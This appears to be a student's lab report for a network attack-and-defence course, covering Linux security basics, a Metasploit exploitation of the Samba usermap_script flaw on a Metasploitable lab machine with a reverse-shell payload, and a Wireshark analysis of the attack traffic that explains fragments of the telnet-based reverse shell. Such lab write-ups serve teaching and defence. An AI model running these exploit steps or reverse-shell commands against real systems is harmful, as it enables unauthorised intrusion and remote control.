20212918 2021-2022-2 《网络攻防实践》实践七报告

一、基本知识

Linux操作系统基本框架概述

  • Linux系统结构包括:Linux内核、一些GUN运行库和工具、命令行shell、图形界面X窗口系统及相应的桌面环境并包括数千种应用软件
  • Linux进程与线程管理机制:Linux采用抢占式多用户进程模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程进行执行。
  • Linux的内存管理机制:Linux的内存管理模块MM,允许多个进程安全地共享物理内存区域。Linux支持虚拟内存管理,在32位机器上,每个进程拥有独立的4GB虚拟内存空间,其中内核的代码与数据段被映射到3GB以上的空间,用户态代码申请的虚拟内存空间为0-3GB区间,每个进程使用两套段描述符分别访问内核态和用户态的内存空间。
  • Linux的文件系统管理机制:虚拟文件管理VFS机制,使得其能够支持数十种不同类型的逻辑文件系统,VFS为用户进程提供了一组通用的文件系统调用函数,可以对不同文件系统中的文件进行统一操作。

Linux 授权与访问控制机制

Linux 通过 VFS 虚拟文件系统来实现对不同类别文件系统格式的支持,并同时通过设备义件类型来统一集成对其他类型系统资源的管理。”一切皆是文件” 是 Linux 的基本哲学之一。 不仅普通的文件,目录、字符设备、块设备、套接字等在 UNIX/Linux 中都是以文件被对待,它们虽然类型不同,但是对其提供的却是同一套操作界面。
文件的所有者:每个 Linux 文件都拥有其所有者,表明了该文件属于哪个用户所有,以文件所有者的 uid 以及文件所有者所在组的 gid 来指明,在用户创建文件时,文件系统将自动设置新文件的所有者及其所在组,并自动地赋予文件所有者读/写的权限。文件的所有者可以通过 chown 命令进行修改。
文件的访问权限:

  • R (Read, 读取):对文件而言,具有读取文件内容的权限;对目录来说,具有浏览目录的权限。
  • W (Write, 写入):对文件而言,具有新增、修改文件内容的权限;对目录来说,具有删除、移动目录内文件的权限。
  • X (execute,执行):对文件而言,具有执行文件的权限;对目录来说该用户具有进入目录的权限。

Linux 系统远程攻防技术

从远程网络上侵入 Linux 系统的主要方法在目前来说,不外乎如下四种:

  • 对 Linux 系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统。
  • 发掘 Linux 系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行,从而为攻击者提供本地 Shell 的访问权。
  • 通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开 Linux 系统的大门。
  • 在 Linux 系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。

针对网络服务远程渗透攻击的安全防范措施

1)禁用所有不必要的网络服务;
2)尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署;
3)及时更新网络服务版本;
4)使用 xinetd、防火墙为 Linux 网络服务添加网络访问控制机制;
5)建立入侵检测与应急响应计划流程。

二、实践内容

2.1 使用Metasploitable进行Linux远程渗透攻击

1)使用Metaspolit作为渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取Linux靶机的主机访问权限。实践步骤如下:
2)使用exploit:exploit/multi/samba/usermap_script渗透攻击模块
3)选择攻击PAYLOAD为远程shell
4)设置攻击参数
5)执行攻击
6)查看是否得到正确的远程shell

虚拟机 IP地址
kali 192.168.200.129
metasploit 192.168.200.123
  • 在kali中输入命令msfconsole进入exploitable
    image
  • 输入命令use exploit/multi/samba/usermap_script选择渗透攻击模块
    image
  • 然后进行show options
    image
  • 输入指令show payloads来获取攻击负载模块列表
    image
  • 通过命令set PAYLOAD cmd/unix/reverse来设置攻击负载
    image
  • 设置攻击机IP地址192.168.200.129和靶机IP地址192.168.200.123,并使用exploit进行攻击
    image
  • 执行攻击,攻击成功后使用指令whoami发现执行权限是root,使用指令ifconfig来查看靶机网络状态
    image

2.2 攻防对抗实践

攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息。

虚拟机 IP地址
kali 192.168.200.129
metasploit 192.168.200.123
  • 同2.1实验步骤相同,然后用wireshark抓包
    image
    可以看到攻击者的IP为192.168.200.129,端口为41719;靶机IP为192.168.200.123,端口为139,攻击发起时间为2022.4.25 21:22:23
  • 追踪TCP流,可以看到shellcode
    image
  1. nohup 是 no hang up 的缩写,即不挂断地运行命令。如果正在运行一个进程,而且觉得在退出帐户时该进程还不会结束,那么可以使用nohup命令。该命令可以在你退出帐户/关闭终端之后继续运行相应的进程
  2. sh 是linux中运行 shell 的命令,是 shell 的解释器
  3. sleep 来将目前动作延迟一段时间
  4. telnet 192.168.0.133 4444 表明数据是通过 4444 号通信端口管控传入攻击机的
  5. /dev/null 2>&1 这样的写法.这条命令的意思是将标准输出和错误输出全部重定向到 /dev/null 中,也就是将产生的所有信息丢弃
  6. & , 让该命令在后台执行
  • 最后通过追踪TCP流确定攻击成功之后攻击机在靶机执行的命令
    image

3 遇到问题及解决方法

  • 在刚开始实验时,kali与metasploit互相ping不通
    解决方法:请教同学,将metasploit的网络重新配了一下,解决了问题。

4 心得体会

本次实验过程比较简单,只是前期被一些问题困扰,后面也是成功解决问题。

posted @ 2022-04-30 20:35  別來無恙〆  阅读(20)  评论(0编辑  收藏  举报